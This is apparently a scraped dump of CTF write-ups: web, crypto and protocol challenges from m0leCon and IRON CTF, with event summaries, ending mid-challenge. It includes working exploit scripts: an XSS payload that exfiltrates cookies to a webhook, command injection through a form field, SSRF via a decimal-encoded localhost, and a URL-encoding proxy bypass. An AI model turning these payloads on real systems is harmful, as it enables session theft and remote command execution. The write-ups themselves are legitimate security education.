\u0026quot;\u0026lt;embed\u0026quot;, \u0026quot;\u0026lt;link\u0026quot;, \u0026quot;\u0026lt;listing\u0026quot;, \u0026quot;\u0026lt;meta\u0026quot;, \u0026quot;\u0026lt;noscript\u0026quot;, \u0026quot;\u0026lt;object\u0026quot;, \u0026quot;\u0026lt;plaintext\u0026quot;, \u0026quot;\u0026lt;script\u0026quot;, \u0026quot;\u0026lt;xmp\u0026quot;, \u0026quot;\u0026lt;style\u0026quot;, \u0026quot;\u0026lt;applet\u0026quot;, \u0026quot;\u0026lt;iframe\u0026quot;, \u0026quot;\u0026lt;img\u0026quot;, \u0026quot;onload\u0026quot;, \u0026quot;onblur\u0026quot;, \u0026quot;onclick\u0026quot;, \u0026quot;onerror\u0026quot;, \u0026quot;href\u0026quot;, \u0026quot;javascript\u0026quot;, \u0026quot;window\u0026quot;, \u0026quot;src\u0026quot;, ]; let description = String(data.description); blocklist.forEach((word) =\u0026gt; { description = description.replace(word, \u0026quot;\u0026quot;); }); picDesc.innerHTML = description; } else { if (r.status == 401) { window.location.href = \u0026quot;/profile\u0026quot;; } else { alert(\u0026quot;Unable to load photo!\u0026quot;); } } })(); We can see this trivially from the code that takes ById elements are taken and the word is deleted.\nSolution There are really several solutions I used the simplest one which is to take advantage of the fact that the replace is case sensitive and no lowercase is done in the code to my description\n# filename: exploit.py #!/usr/bin/python3 import random import string import requests from bs4 import BeautifulSoup BASE_URL = \u0026quot;https://imgplace.challs.m0lecon.it\u0026quot; URL_HOOK = \u0026quot;https://webhook.site/6a1df142-d272-4e11-8937-dbd81a33e9d2\u0026quot; def string_generator(length): return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length)) s = requests.Session() def register(username, password): r = s.post(f\u0026quot;{BASE_URL}/register\u0026quot;, data={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password,\u0026quot;confirmPassword\u0026quot;:password}) if r.status_code != 200: print(\u0026quot;[+] Error register\u0026quot;) print(r.text) exit(1) else: print(\u0026quot;[+] Register success\u0026quot;) def login(username, password): r = s.post(f\u0026quot;{BASE_URL}\u0026quot;, data={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) if r.status_code != 200: print(\u0026quot;[+] Error login\u0026quot;) print(r.text) exit(1) else: print(\u0026quot;[+] Login success\u0026quot;) def new(payload): r = s.post(f\u0026quot;{BASE_URL}/new\u0026quot;, data={\u0026quot;url\u0026quot;: URL_HOOK, \u0026quot;description\u0026quot;: payload}) if r.status_code != 200: print(\u0026quot;[+] Error new image\u0026quot;) print(r.text) exit(1) else: print(\u0026quot;[+] New Image Success\u0026quot;) def main(): username,password = string_generator(10),string_generator(10) print(f\u0026quot;Username: {username} Password : {password}\u0026quot;) register(username,password) login(username,password) payload = \u0026quot;\u0026lt;ImG SrC=x OnError=fetch(`\u0026quot;+URL_HOOK+\u0026quot;?q=${document.cookie}`)\u0026gt;\u0026quot; new(payload=payload) print(\u0026quot;[+] Done\u0026quot;) print(\u0026quot;[+] Now login to the website go to the image complete the captcha and you will get the flag on the webhook\u0026quot;) if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $ flag: ptm{n3v3r_tRvST_t3g_bL0ckL1sts} Author: akiidjk ","permalink":"http://localhost:1313/writeups/m0lecon2025beginner/imgplace/","title":"ImgPlace"},{"content":" m0leCon 2025 Beginner CTF Description Annual edition of the beginner version of m0leCon CTF, that will happen in spring 2025.\nChallenges are targeted to newcomers and students.\nTeam size limit is 4 people per team.\nThe m0leCon Beginner CTF will not award rating points on CTFTime.\nUrl Discord Performance Summary CTFs: 18/20 Total points: 2700 Position: 2/385 Rating points: 0.0 Writeups Crypto Small Auth Web Go Secure It ImgPlace ","permalink":"http://localhost:1313/writeups/m0lecon2025beginner/","title":"m0leCon 2025 Beginner CTF"},{"content":"SmallAuth Description: I am trying to authenticate but I totally forgot the password, I am screwed!!\nIntroduction SmallAuth was a crypto CTF from ## m0leCon 2025 Beginner CTF organized by pwnthem0le.\nfrom secret import flag, password import signal from Crypto.Util.number import ( bytes_to_long, long_to_bytes, getRandomRange, ) from hashlib import sha256 import os p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 assert len(password) \u0026gt; 64 def timeout_handler(_1, _2): raise TimeoutError class AuthProtocol: def __init__(self, password: bytes): super().__init__() self.p = p self.g = pow(bytes_to_long(password), 2, self.p) def gen_pub_key(self): self.a = getRandomRange(2, self.p) self.A = pow(self.g, self.a, self.p) return self.A def gen_shared_key(self, B): assert 1 \u0026lt; B \u0026lt; self.p k = pow(B, self.a, self.p) self.s = sha256(long_to_bytes(k)).digest() return self.s def confirm_key(self): signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(5) try: challenge = input(\u0026quot;Give me the challenge (hex): \u0026quot;).strip() challenge = bytes.fromhex(challenge.strip()) (opad, ipad, challenge) = challenge[:16], challenge[16:32], challenge[32:] if challenge == sha256(opad + sha256(ipad + self.s).digest()).digest(): pad = bytes([x^y for x, y in zip(ipad, opad)]) print(\u0026quot;Response:\u0026quot;, sha256(pad + self.s).hexdigest()) else: print(\u0026quot;Mmm, cannot understand this challenge.\u0026quot;) except TimeoutError: ipad = os.urandom(16) opad = os.urandom(16) print(\u0026quot;\\nI got bored waiting for your response.\u0026quot;) print(\u0026quot;I will start then.\u0026quot;) print( f\u0026quot;Here is your challenge: {opad.hex()}{ipad.hex()}{sha256(opad + sha256(ipad + self.s).digest()).hexdigest()}\u0026quot; ) response = input(\u0026quot;Response? (hex): \u0026quot;) try: response = bytes.fromhex(response.strip()) pad = bytes([x^y for x, y in zip(ipad, opad)]) if response == sha256(pad + self.s).digest(): return True else: print(\u0026quot;Nope sorry.\u0026quot;) except Exception as e: print(\u0026quot;Ops, error\u0026quot;) except Exception as e: print(\u0026quot;Ops, error\u0026quot;) return False def main(): print( \u0026quot;Welcome! Please authenticate to get the flag. You should know the password, right?\u0026quot; ) auth = AuthProtocol(password) print(\u0026quot;Here is my public key:\u0026quot;, auth.gen_pub_key()) B = int(input(\u0026quot;Give me your public key: \u0026quot;)) auth.gen_shared_key(B) if auth.confirm_key(): print(\u0026quot;Welcome!\u0026quot;, flag) if __name__ == \u0026quot;__main__\u0026quot;: main() The server simulates an authentication protocol: first it generates a secret shared key via a modified version of the Diffie-Hellman protocol where the generator isn\u0026rsquo;t public, then we have a 5 second window where we can interact with the verifier to check our sent challenges, finally it asks for a \u0026ldquo;challenge\u0026rdquo; which should be constructed from a sha256 hash involving the previously generated key.\nSolution Without the generator it seems impossible to generate the secret key but a faulty check in gen_shared_key lets us generate it $50\\%$ of the time:\ndef gen_shared_key(self, B): assert 1 \u0026lt; B \u0026lt; self.p k = pow(B, self.a, self.p) self.s = sha256(long_to_bytes(k)).digest() return self.s The assert wants to prevent values such as 0 and multiples of self.p, but allows self.p - 1, which once raised to the self.ath power will be 1, when self.a is even, or self.p - 1 when self.a is odd. We can therefore just guess one of the two possibilities and retry until we\u0026rsquo;re right.\nfrom pwn import * from hashlib import sha256 from time import sleep p = 5270716116965698502689689671130781219142402682027195438035167686031865721400130496197382604002325978977917823871038888373085118354500422489134429970793096193438377786459821943518301475690713718745453633483219759953295608491564410082912515903134742148257215875373630412689071144760281744294536079770426517968527527493218935968663682019557492826204481612047410320146277333682801905360248457200458458982939490478875010628228329816347137904546340745621643293109290190631986349878770000332829974864263568375989597228583046155053640478805958492876860588535257030218304135983005840752161675722091031537527270835889607480661582626985375282908187505873350960702103509549729997875801557977556414403796543012974965425751833424162010931383924392626875437842811285456196644742198291857617009931030974156758885265756942730260677252867252555430773014258836269996233420470473918801854039549216620237517053340745984578639983387808534554731327 def main(): r = remote('smallauth.challs.m0lecon.it', 5102) r.recvuntil(b': ') A = int(r.recvline().rstrip().decode()) B = p - 1 r.sendlineafter(b': ', str(B).encode()) s = sha256(b'\\1').digest() sleep(5) r.recvuntil(b'challenge: ') challenge = bytes.fromhex(r.recvline().rstrip().decode()) opad = challenge[:16] ipad = challenge[16:32] chal = challenge[32:] pad = bytes([x^y for x, y in zip(ipad, opad)]) resp = sha256(pad + s).hexdigest() r.sendlineafter(b'): ', resp.encode()) resp = r.recvline() r.close() if b'Nope' in resp: main() else: print('flag:', resp.rstrip().decode().split(' ')[1]) if __name__ == '__main__': main() $ flag: ptm{y0u_4r3_a_j3d1_0f_pr0t0c0l5} Author: vympel\n","permalink":"http://localhost:1313/writeups/m0lecon2025beginner/smallauth/","title":"SmallAuth"},{"content":"MovieReviewApp Description: Last web challenge done in the ctf (unfortunately) also one of the fastest to do if you know the right tools\nIntroduction The challenge looks like a very simple site in pure html where we see reviews on movies\nSource Is not present the source BUT\u0026hellip;\nSolution The first thing that stands out is that in the URL there are extensions, so we understand that probably the system behind it is not very complex, in fact, going to the root endpoint we notice\nThat directory listing is active and a .git folder exists\nThis allows us to see all the committed versions of the application\nBut I don\u0026rsquo;t recommend to manually dump the whole folder so we rely on a very useful tool found on github GitTools\nUsing the dump script, we can dump the entire .git folder and then use the extractor tool to restore all the versions.\nWhat we get is the source with all its versions.\nLeaked source # filename: app.py from flask import Flask, render_template, request, redirect, url_for, flash, session import psutil import os import platform import subprocess import re app = Flask(__name__) app.secret_key = os.urandom(32) ADMIN_USERNAME = 'superadmin' ADMIN_PASSWORD = 'Sup3rS3cR3TAdminP@ssw0rd$!' @app.route('/') def home(): return render_template('index.html') @app.route('/admin', methods=['GET', 'POST']) def admin(): if request.method == 'POST': username = request.form.get('username') password = request.form.get('password') if username == ADMIN_USERNAME and password == ADMIN_PASSWORD: session['logged_in'] = True return redirect(url_for('admin_panel')) else: flash(\u0026quot;Invalid credentials. Please try again.\u0026quot;) return render_template('login.html') @app.route('/admin_panel', methods=['GET', 'POST']) def admin_panel(): if 'logged_in' not in session: return redirect(url_for('admin')) ping_result = None if request.method == 'POST': ip = request.form.get('ip') count = request.form.get('count', 1) try: count = int(count) ping_result = ping_ip(ip, count) except ValueError: flash(\u0026quot;Count must be a valid integer\u0026quot;) except Exception as e: flash(f\u0026quot;An error occurred: {e}\u0026quot;) memory_info = psutil.virtual_memory() memory_usage = memory_info.percent total_memory = memory_info.total / (1024 ** 2) available_memory = memory_info.available / (1024 ** 2) return render_template('admin.html', ping_result=ping_result, memory_usage=memory_usage, total_memory=total_memory, available_memory=available_memory) if __name__ == '__main__': app.run(debug=True) We can see two interesting things: the first that stands out is that the admin\u0026rsquo;s credentials are in the clear, and another is that we have another RCE to run.\nExploit # filename: exploit.py #!/usr/bin/python3 import requests from bs4 import BeautifulSoup BASE_URL = \u0026quot;https://movie-review.1nf1n1ty.team\u0026quot; URL_HOOK = \u0026quot;\u0026quot; ADMIN_USERNAME = 'superadmin' ADMIN_PASSWORD = 'Sup3rS3cR3TAdminP@ssw0rd$!' s = requests.Session() def login(): r = s.post(BASE_URL + \u0026quot;/servermonitor/admin\u0026quot;,data={\u0026quot;username\u0026quot;:ADMIN_USERNAME,\u0026quot;password\u0026quot;:ADMIN_PASSWORD}) if r.status_code == 200: print(\u0026quot;[+] Login Success\u0026quot;) else: print(\u0026quot;[!] Login Failed\u0026quot;) exit(1) def exploit(): flag = BeautifulSoup(s.post(BASE_URL + \u0026quot;/servermonitor/admin_panel\u0026quot;,data={\u0026quot;ip\u0026quot;:\u0026quot;8.8.8.8\u0026quot;,\u0026quot;count\u0026quot;:\u0026quot;1;cat '/flag.txt' #\u0026quot;}).text, 'html.parser').find_all('pre')[0].text print(\u0026quot;[+] Flag: \u0026quot;,flag) def main(): login() exploit() if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk The solution is very simple, let\u0026rsquo;s log in to the admin panel and then take advantage of the fact that the count parameter is not sanitized to execute a command of our choice and set the flag\n$ flag: ironCTF{4lways_b3_c4ar3ful_w1th_G1t!} Author: akiidjk ","permalink":"http://localhost:1313/writeups/ironctf2024/moviereviewapp/","title":"MovieReviewApp"},{"content":"b64SiteViewer Description: This is one of the challenges added later, but despite that it wasn\u0026rsquo;t very complex, in fact the most complex part wasn\u0026rsquo;t even the web part, but despite that the challenge was still really nice\nIntroduction We are faced with a very simple application in which, given a url, the base64 of the page content is given back to us, plus there is a special endpoint that allows us to execute certain commands\nSource There are two endpoints of interest to us, the first of which is this one, which, as we can see, has several filters, especially those that do not allow us to access the localhost (very strange at first glance, you might think).\n# filename: app.py @app.route('/',methods=['GET','POST']) def home(): if request.method=='GET': return render_template('home.html') if request.method=='POST': try: url=request.form.get('url') scheme=urlparse(url).scheme hostname=urlparse(url).hostname blacklist_scheme=['file','gopher','php','ftp','dict','data'] blacklist_hostname=['127.0.0.1','localhost','0.0.0.0','::1','::ffff:127.0.0.1'] if scheme in blacklist_scheme: return render_template_string('blocked scheme') if hostname in blacklist_hostname: return render_template_string('blocked host') t=urllib.request.urlopen(url) content = t.read() output=base64.b64encode(content) return (f'''base64 version of the site: {output[:1000]}''') except Exception as e: print(e) return f\u0026quot; An error occurred: {e} - Unable to visit this site, try some other website.\u0026quot; We are blocked from accessing the localhost mainly to prevent us from accessing the admin endpoint, which, as we can clearly see, blocks all IPs that are not 127.0.0.1\n@app.route('/admin') def admin(): remote_addr = request.remote_addr if remote_addr in ['127.0.0.1', 'localhost']: cmd=request.args.get('cmd','id') cmd_blacklist=['REDACTED'] if \u0026quot;'\u0026quot; in cmd or '\u0026quot;' in cmd: return render_template_string('Command blocked') for i in cmd_blacklist: if i in cmd: return render_template_string('Command blocked') print(f\u0026quot;Executing: {cmd}\u0026quot;) res= subprocess.run(cmd, shell=True, capture_output=True, text=True) return res.stdout else: return render_template_string(\u0026quot;Don't hack me\u0026quot;) The admin endpoint also takes as parameter a CMD argument, which is a bash command that will be executed (Having first checked it with a blacklist)\nSolution The goal is to reach /admin and execute a command to get the flag\nThe solution is divided into two phases\nBypass the filter in / Bypass the blacklist in /admin (Blacklist we don\u0026rsquo;t know) Bypass the first filter In the endpoint, the hostname check is not really done correctly because it takes the hostname but does not check what format it is in or that it is valid etc and just does a very trivial comparison, so we just need to represent the IP with a different number system to bypass the filter.\nBypassing the second filter The second blacklist is much more complex, in fact initially I had many problems to understand, and especially to understand how to get the flag, as all the commands to access the ENV were blocked, but the solution as usual is much more trivial, in fact to leak the blacklist is enough to make a tail (which fortunately was not blocked) and modify the offsets with the parameters we can read part of the blacklist, Finally to get the flag is actually very simple, in fact using tail on the run. sh we can see which is the file where the environment variable of the flag is created and therefore where we can find the\nFinal exploit # filename: exploit.py #!/usr/bin/python3 import requests import urllib.parse import base64 BASE_URL = \u0026quot;https://b64siteviewer.1nf1n1ty.team/\u0026quot; PAYLOAD_CMD = urllib.parse.quote(\u0026quot;tail run???\u0026quot;) URL_HOOK = \u0026quot;http://2130706433:5000/admin?cmd=\u0026quot; + PAYLOAD_CMD # We use 2130706433 instead of 127.0.0.1 because is blocked by the WAF def send_url(url): data = {\u0026quot;url\u0026quot;: url} response = requests.post(BASE_URL, data=data) try: return response.text.split(\u0026quot;base64 version of the site:\u0026quot;)[1].strip()[2:-1], True except: return response.text, False def main(): print(\u0026quot;[+] URL: \u0026quot;, URL_HOOK) res_base64,status = send_url(URL_HOOK) if status: print(\u0026quot;[+] Result of exploit: \u0026quot;, base64.b64decode(res_base64).decode()) else: print(f\u0026quot;[+] Error in the requests: {res_base64}\u0026quot;) if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $ flag: ironCTF{y0u4r3r0ck1n6k33ph4ck1n6}\u0026quot; Author: akiidjk ","permalink":"http://localhost:1313/writeups/ironctf2024/b64siteviewer/","title":"b64SiteViewer"},{"content":"Loan app Description: One of the first web challenges solved in ctf, not very complex (at least the unintended solution)\nIntroduction This is the challenge web with the most solutions, which I must say is very nice, my solution is the unintended but also the most common one, in fact the correct approach would have been to do \u0026lsquo;request smuggling\u0026rsquo;, which is a much more complex attack to bypass the proxy, which in this case consists of splitting a request between proxy and backend.\nSolve intended: Something like this\nSource We focus on the proxy config\n# filename: file.py global log stdout format raw local0 maxconn 2000 user root group root daemon defaults log global option httplog timeout client 30s timeout server 30s timeout connect 30s frontend http_front mode http bind :80 acl is_admin path_beg /admin # Miss config http-request deny if is_admin # Miss config default_backend gunicorn backend gunicorn mode http balance roundrobin server loanserver loanapp:8000 maxconn 32 And win function\n# filename: app.py @app.route('/admin/loan/\u0026lt;loan_id\u0026gt;', methods=['POST']) def admin_approve_loan(loan_id): try: mongo.db.loan.update_one({'_id': ObjectId(loan_id)}, {'$set': {'status': 'approved', 'message': FLAG}}) return 'OK', 200 except: return 'Internal Server Error', 500 Comments added by me\nSolution The solution is very simple: just read the source code, register and login, and create a loan. Once this is done, thanks to the /admin/loan/id endpoint, the loan is approved by setting the flag\nExploit # filename: exploit.py #!/usr/bin/python3 import http import requests from uuid import uuid4 from bs4 import BeautifulSoup import urllib3.util BASE_URL = \u0026quot;http://loanapp.1nf1n1ty.team/\u0026quot; s = requests.Session() def login(username,password): r = s.post(BASE_URL + \u0026quot;login\u0026quot;, data={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) if r.status_code == 200: print(\u0026quot;[+] Login successful\u0026quot;) else: print(\u0026quot;[-] Login failed: \u0026quot; + r.text) exit(1) def register(username,password): r = s.post(BASE_URL + \u0026quot;register\u0026quot;,data={\u0026quot;username\u0026quot;: username, \u0026quot;password\u0026quot;: password}) if r.status_code == 200: print(\u0026quot;[+] Registration successful\u0026quot;) else: print(\u0026quot;[-] Registration failed: \u0026quot; + r.text) exit(1) def loan_request(): r = s.post(BASE_URL + \u0026quot;loan-request\u0026quot;, data={\u0026quot;amount\u0026quot;: \u0026quot;696969696969696969\u0026quot;, \u0026quot;reason\u0026quot;: \u0026quot;I need money for cookies\u0026quot;}) if r.status_code == 200: print(\u0026quot;[+] Loan request successful\u0026quot;) else: print(\u0026quot;[-] Loan request failed: \u0026quot; + r.text) exit(1) def get_loan_id(): r = s.get(BASE_URL) soup = BeautifulSoup(r.text, 'html.parser') loan_id = soup.find(\u0026quot;span\u0026quot;, attrs={\u0026quot;class\u0026quot;:\u0026quot;loan-id\u0026quot;}).text.strip().split(\u0026quot;: \u0026quot;)[1] return loan_id def exploit(loan_id): conn = http.client.HTTPConnection(urllib3.util.parse_url(BASE_URL).host) conn.request(\u0026quot;POST\u0026quot;, f\u0026quot;/%61dmin/loan/{loan_id}\u0026quot;) # Use http instead of requests for avoid auto url encoding of requests response = conn.getresponse() if response.status != 200: print(\u0026quot;[-] Exploit failed\u0026quot;) exit(1) def get_flag(): r = s.get(BASE_URL) soup = BeautifulSoup(r.text, 'html.parser') return soup.find(\u0026quot;p\u0026quot;, attrs={\u0026quot;class\u0026quot;: \u0026quot;loan-message\u0026quot;}).text.strip()[7:] def main(): username, password = uuid4(), uuid4() print(f\u0026quot;Username: {username} Password: {password}\u0026quot;) register(username,password) login(username,password) loan_request() loan_id = get_loan_id() print(f\u0026quot;[+] Loan ID: {loan_id}\u0026quot;) exploit(loan_id) print(f\u0026quot;[+] Flag: {get_flag()}\u0026quot;) if __name__ == \u0026quot;__main__\u0026quot;: main() # goodluck by @akiidjk $flag: ironCTF{L04n_4ppr0v3d_f0r_H4ck3r$!!} Author: akiidjk ","permalink":"http://localhost:1313/writeups/ironctf2024/loan_app/","title":"Loan App"},{"content":"Rivest, Shamir, Adleman 2 Description: Little John has done his homework and tried fixing the issue in his script. Can you still find his secret.\nIntroduction Rivest, Shamir, Adleman 2 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty. It is meant as a sequel to Rivest, Shamir, Adleman 1. We\u0026rsquo;re not given a script that generates the parameters, simply the public key and the ciphertext.\n(N,e,c)=(161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) Solution Since N is prime we can just calculate the e-th roots of c to find the plaintext(s)\nN, e, c = (161643423646746552081298841935498903406728484661198088824380120820649408462211320026846900530120533720144166059852036274757176945943476154740893002954181911201068843959015760064479587114460816364946604976937998011320067074515344961776920419207973234413389567508538119203696918037349918054399980346807879167361, 36675, 59237480729804419902249350038380812764615310700084519548754724856780737977857097616843794684178008858466821286387353080178404910815575872547979820848851425285654302196414305127926468908308102733135120774714553727434912025225828846601760761868067655959956674559148988221195055343304319184971182998654695411365) for m in GF(N)(c).nth_root(e, all=True): bs = bytes(Integer(m).digits(256)[::-1]) if b'iron' in bs: print('flag:', bs[:bs.index(b'}')+1].decode()) break $ flag: ironCTF{th15_TIme_You_c4Nt_f!ND_1t_hop3FUl1Y} Author: vympel\n","permalink":"http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_2/","title":"Rivest, Shamir, Adleman 2"},{"content":"Rivest, Shamir, Adleman 1 Description: Little John came across an article on RSA encryption. Intrigued but only partially understanding it, he decided to write a script and started using it to communicate with his aunt. Can you figure out what he\u0026rsquo;s discussing?\nIntroduction Rivest, Shamir, Adleman 1 was a crypto CTF from IRON CTF 2024 organized by Team 1nf1n1ty.\nfrom Crypto.Util.number import * m = open(\u0026quot;flag.txt\u0026quot;,'rb').read() m = bytes_to_long(m) p = getPrime(1024) q = getPrime(1024) N = p*q e = getRandomNBitInteger(16) c = pow(m,e,N) p_ = p \u0026gt;\u0026gt; (200) print(f\u0026quot;{(p_,N,e,c)=}\u0026quot;) # (p_,N,e,c)=(78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) It is a typical rsa challenge where you\u0026rsquo;re given a \u0026ldquo;leak\u0026rdquo;: some part of the private key which allows you to retrieve it fully. We\u0026rsquo;re given the most significant bits of p and must figure out the rest.\nSolution We\u0026rsquo;ll use Coppersmith\u0026rsquo;s method to find the 200 lowermost bits of p (beta has a default value of 1 which must be tweaked to solve this)\nR.\u0026lt;x\u0026gt; = PolynomialRing(Zmod(N)) lsb = (p_*2^200 + x).monic().small_roots(beta=0.4) p = Integer(p_*2^200 + lsb[0]) assert is_prime(p) One more trouble to solve is that $gcd(e, \\phi) \\ne 1$, so we must generate all possible plaintexts corresponding to our ciphertext (source).\nq = N // p phi = (p - 1) * (q - 1) k = 1 while gcd(e, phi/k) != 1: k *= gcd(e, phi/k) d = inverse_mod(e, phi/k) roots = [power_mod(a, phi/k, N) for a in range(1, 100)] g = power_mod(c, d, N) plaintexts = [r * g % N for r in roots] This is the full solve script in sagemath.\np_, N, e, c = (78251056776113743922781362749830646373211175353656790171039496888342171662458492506297767981353887690931452440620588460424832375197427124943346919084717792877241717599798699596252163346397300952154047511640741738581061446499402444306089020012841936, 19155750974833741583193175954281590563726157170945198297004159460941099410928572559396586603869227741976115617781677050055003534675899765832064973073604801444516483333718433505641277789211533814981212445466591143787572063072012686620553662750418892611152219385262027111838502078590253300365603090810554529475615741997879081475539139083909537636187870144455396293865731172472266214152364966965486064463013169673277547545796210067912520397619279792527485993120983571116599728179232502586378026362114554073310185828511219212318935521752030577150436386831635283297669979721206705401841108223134880706200280776161816742511, 37929, 18360638515927091408323573987243771860358592808066239563037326262998090628041137663795836701638491309626921654806176147983008835235564144131508890188032718841579547621056841653365205374032922110171259908854680569139265494330638365871014755623899496058107812891247359641915061447326195936351276776429612672651699554362477232678286997748513921174452554559807152644265886002820939933142395032126999791934865013547916035484742277215894738953606577594559190553807625082545082802319669474061085974345302655680800297032801212853412563127910754108599054834023083534207306068106714093193341748990945064417347044638122445194693) R.\u0026lt;x\u0026gt; = PolynomialRing(Zmod(N)) lsb = (p_*2^200 + x).monic().small_roots(beta=0.4) p = Integer(p_*2^200 + lsb[0]) assert is_prime(p) q = N // p phi = (p - 1) * (q - 1) k = 1 while gcd(e, phi/k) != 1: k *= gcd(e, phi/k) d = inverse_mod(e, phi/k) roots = [power_mod(a, phi/k, N) for a in range(1, 100)] g = power_mod(c, d, N) plaintexts = [r * g % N for r in roots] for pt in plaintexts: bs = pt.to_bytes(pt.bit_length() // 8 + 1) if b'iron' in bs: print('flag:', bs.decode()) break $ flag: ironCTF{@Un7_CaN_yoU_53Nd_me_THOS3_3xp@NSIon_5cREws} Author: vympel\n","permalink":"http://localhost:1313/writeups/ironctf2024/rivest_shamir_adleman_1/","title":"Rivest, Shamir, Adleman 1"},{"content":" IRON CTF 2024 Description Welcome to the inaugural edition of IRON CTF (Intrusion Reconnaissance and Offensive Navigation CTF)!\nTeam 1nf1n1ty from SASTRA Deemed University invites you to embark on an exciting online Jeopardy-style Capture the Flag challenge. Whether you\u0026rsquo;re just starting out or a seasoned hacker, this event promises the perfect platform to push your limits, hone your skills, and enjoy the thrill of competition.\nTackle diverse challenges in categories like Web Exploitation, Game Hacking, Reverse Engineering, Cryptography, Forensics, Binary Exploitation, and more.\nGood luck, and happy hacking!\nUrl Discord Performance Summary CTFs: 14/55 Total points: 4769 Position: 41/1033 Rating points: 7.644 Writeups Web Loan App B64SiteViewer MovieReviewApp Crypto Rivest, Shamir, Adleman 1 Rivest, Shamir, Adleman 2 ","permalink":"http://localhost:1313/writeups/ironctf2024/","title":"IRON CTF 2024"},{"content":" Patrioc CTF 2024 Description PatriotCTF is an online jeopardy-style CTF hosted by George Mason University\u0026rsquo;s Competitive Cyber Club. All are welcome to participate, including students and security professionals. Challenges will range from beginner to expert, so there should be something for everyone.\nUrl Discord Performance Summary CTFs: 32/65 Total points: 5308 Position: 63/1360 Rating points: 9.735 Writeups No writeups today\u0026hellip;\n","permalink":"http://localhost:1313/writeups/patriotctf2024/","title":"PatriotCTF 2024"},{"content":" m0leCon CTF 2025 Teaser Description m0leCon CTF 2025 Teaser is an online jeopardy-style CTF organized by pwnthem0le. Top 10 teams will be invited to the final event, that will take place in Spring 2025 at Politecnico di Torino.\nUrl Discord Performance Summary CTFs: 1/18 Total points: 100 Position: 71/500 Rating points: 2.920 Writeups Crypto Yet Another OT ","permalink":"http://localhost:1313/writeups/m0lecon2025teaser/","title":"m0leCon CTF 2025 Teaser"},{"content":"Yet Another OT Description: Why do people always want to decrypt both messages?\nDisclaimer I wasn\u0026rsquo;t able to solve this challenge during the competition, but managed to get to the solution after talking on discord to other competitors who very kindly helped me figure it out.\nIntroduction Yet Another OT was a crypto CTF from m0leCon 2025 hosted by pwnthem0le.\nimport random from hashlib import sha256 import json import os from Crypto.Cipher import AES from Crypto.Util.Padding import pad random = random.SystemRandom() def jacobi(a, n): if n \u0026lt;= 0: raise ValueError(\u0026quot;'n' must be a positive integer.\u0026quot;) if n % 2 == 0: raise ValueError(\u0026quot;'n' must be odd.\u0026quot;) a %= n result = 1 while a != 0: while a % 2 == 0: a //= 2 n_mod_8 = n % 8 if n_mod_8 in (3, 5): result = -result a, n = n, a if a % 4 == 3 and n % 4 == 3: result = -result a %= n if n == 1: return result else: return 0 def sample(start, N): while jacobi(start, N) != 1: start += 1 return start class Challenge: def __init__(self, N): assert N \u0026gt; 2**1024 assert N % 2 != 0 self.N = N self.x = sample(int.from_bytes(sha256((\u0026quot;x\u0026quot;+str(N)).encode()).digest(), \u0026quot;big\u0026quot;), N) ts = [] tts = [] for _ in range(128): t = random.randint(1, self.N) ts.append(t) tts.append(pow(t, N, N)) print(json.dumps({\u0026quot;vals\u0026quot;: tts})) self.key = sha256((\u0026quot;,\u0026quot;.join(map(str, ts))).encode()).digest() def one_round(self): z = sample(random.randint(1, self.N), self.N) r0 = random.randint(1, self.N) r1 = random.randint(1, self.N) m0, m1 = random.getrandbits(1), random.getrandbits(1) c0 = (r0**2 * (z)**m0) % self.N c1 = (r1**2 * (z*self.x)**m1) % self.N print(json.dumps({\u0026quot;c0\u0026quot;: c0, \u0026quot;c1\u0026quot;: c1})) data = json.loads(input()) v0, v1 = data[\u0026quot;m0\u0026quot;], data[\u0026quot;m1\u0026quot;] return v0 == m0 and v1 == m1 def send_flag(self, flag): cipher = AES.new(self.key, AES.MODE_ECB) ct = cipher.encrypt(pad(flag.encode(), 16)) print(ct.hex()) FLAG = os.environ.get(\u0026quot;FLAG\u0026quot;, \u0026quot;ptm{test}\u0026quot;) def main(): print(\u0026quot;Welcome to my guessing 